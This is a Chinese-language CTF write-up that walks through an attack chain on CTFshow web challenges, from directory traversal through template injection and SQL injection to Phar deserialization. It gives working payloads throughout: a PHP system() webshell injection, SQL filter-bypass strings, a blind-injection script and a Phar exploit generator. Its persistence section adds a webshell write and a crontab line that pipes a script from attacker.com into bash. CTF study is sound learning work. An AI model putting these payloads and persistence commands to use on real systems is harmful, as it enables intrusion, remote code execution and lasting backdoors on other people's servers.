CTFshow Web中期测评实战复盘:从目录穿越到Phar反序列化的完整攻击链梳理
CTFshow Web中期测评实战复盘从目录穿越到Phar反序列化的完整攻击链构建在CTF竞赛中Web安全题目往往不是单一漏洞的简单利用而是需要将多个漏洞点串联成完整的攻击链路。本文将以CTFshow中期测评为例系统梳理从基础目录穿越到高级Phar反序列化的完整攻击路径帮助安全研究者建立漏洞链式思维。1. 攻击链路的起点信息收集与基础漏洞利用任何成功的渗透测试都始于充分的信息收集。在CTFshow的Web题目中常见的初始突破口包括目录遍历漏洞通过修改action参数尝试读取系统文件/index.php?action../flag源代码审计获取关键文件如render_class.php的实现逻辑非常规文件位置检查/templates、/cache等目录下的文件关键技巧当发现文件包含漏洞时优先尝试读取以下文件/etc/passwd验证漏洞真实性网站配置文件如config.php题目源代码如index.php.bak注意现代CTF题目通常会限制文件读取路径需要结合题目提示寻找有效路径2. 漏洞升级从基础漏洞到代码执行获得部分源代码后攻击者需要分析其中的不安全实现2.1 模板注入的利用模式在题目web488中模板引擎的实现存在安全缺陷// 不安全的模板渲染逻辑 class templateUtil { public static function render($action) { $content file_get_contents($action); return self::shade($content, $_REQUEST); } public static function shade($template, $args) { extract($args); ob_start(); eval(?.$template); return ob_get_clean(); } }攻击步骤通过目录穿越获取模板文件位置识别模板变量注入点如{{username}}构造恶意输入实现代码执行/index.php?actioncheckusername?php system($_GET[cmd]);?password1232.2 非常规SQL注入利用当遇到特殊过滤时需要调整注入方式过滤条件绕过方案示例Payload空格过滤使用注释或括号/**/union/**/select/**/1,2,3关键词过滤大小写变异UnIoN SeLeCt 1,2,3引号过滤使用十六进制编码0x61646d696e代替admin# 布尔盲注自动化脚本示例 import requests url http://target.com/login charset abcdefghijklmnopqrstuvwxyz0123456789_-{} flag for i in range(1, 50): for c in charset: payload f OR (SELECT SUBSTRING(flag,{i},1) FROM flags){c}-- r requests.post(url, data{username: payload, password:1}) if Welcome in r.text: flag c print(flag) break3. 高级攻击技术反序列化漏洞链构建3.1 反序列化入口点发现在web493中通过审计发现// 不安全的反序列化点 $user unserialize($_COOKIE[user]);利用步骤定位可用的魔术方法如__destruct、__wakeup寻找具有危险方法的类如文件操作类构造POP链实现RCE3.2 Phar反序列化攻击当直接反序列化不可用时可尝试Phar包装?php class Exploit { public $cmd system(cat /flag);; } $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ?); $phar-setMetadata(new Exploit()); $phar-addFromString(test.txt, test); $phar-stopBuffering();触发方式/api/upload?filephar://uploads/exploit.png4. 防御规避与权限维持现代CTF题目通常会设置多层防御4.1 绕过WAF的技巧协议混淆使用data://、php://filter等包装恶意代码?filedata://text/plain,?php system($_GET[cmd]);?字符串变形利用动态函数调用$f syst.em; $f(whoami);4.2 维持访问的方法Webshell写入file_put_contents(shell.php, ?php eval($_POST[cmd]);?);定时任务注入echo * * * * * curl http://attacker.com/shell.sh | bash /etc/crontab5. 实战攻击链构建案例以web503为例完整攻击流程信息收集发现文件上传功能仅允许图片格式漏洞利用制作包含Phar的图片文件上传后触发Phar反序列化权限提升利用反序列化写入Webshell通过Webshell读取系统文件# 自动化攻击脚本示例 import requests import os # 生成恶意Phar文件 os.system(php gen_phar.php) # 上传文件 files {file: open(exploit.png, rb)} r requests.post(http://target.com/upload, filesfiles) # 触发反序列化 r requests.get(http://target.com/view?filephar://exploit.png)在真实渗透测试中每个环节都可能遇到不同防御措施需要根据实际情况调整攻击策略。理解漏洞原理比记忆Payload更重要这能帮助你在面对新题目时快速构建有效的攻击链。